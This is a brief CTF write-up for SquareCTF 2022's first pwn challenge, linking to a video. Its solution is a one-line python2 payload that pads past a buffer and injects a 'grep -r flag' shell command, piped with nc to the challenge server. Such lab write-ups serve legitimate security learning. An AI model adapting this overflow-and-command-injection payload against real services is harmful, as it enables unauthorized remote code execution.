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**SquareCTF 2022 | Pwn1 writeup | RCE in Buffer Overflow by NC**

Essential PWN video for CTF learner
Learn: How to process RCE (Remote Code Execution) by using buffer overflow and NC

Solution:
**python2 -c "print 'A'*8 + 'grep -r flag'" | nc chals.2022.squarectf.com 4100**

Original writeup (https://youtu.be/i3mF2DAPyzw).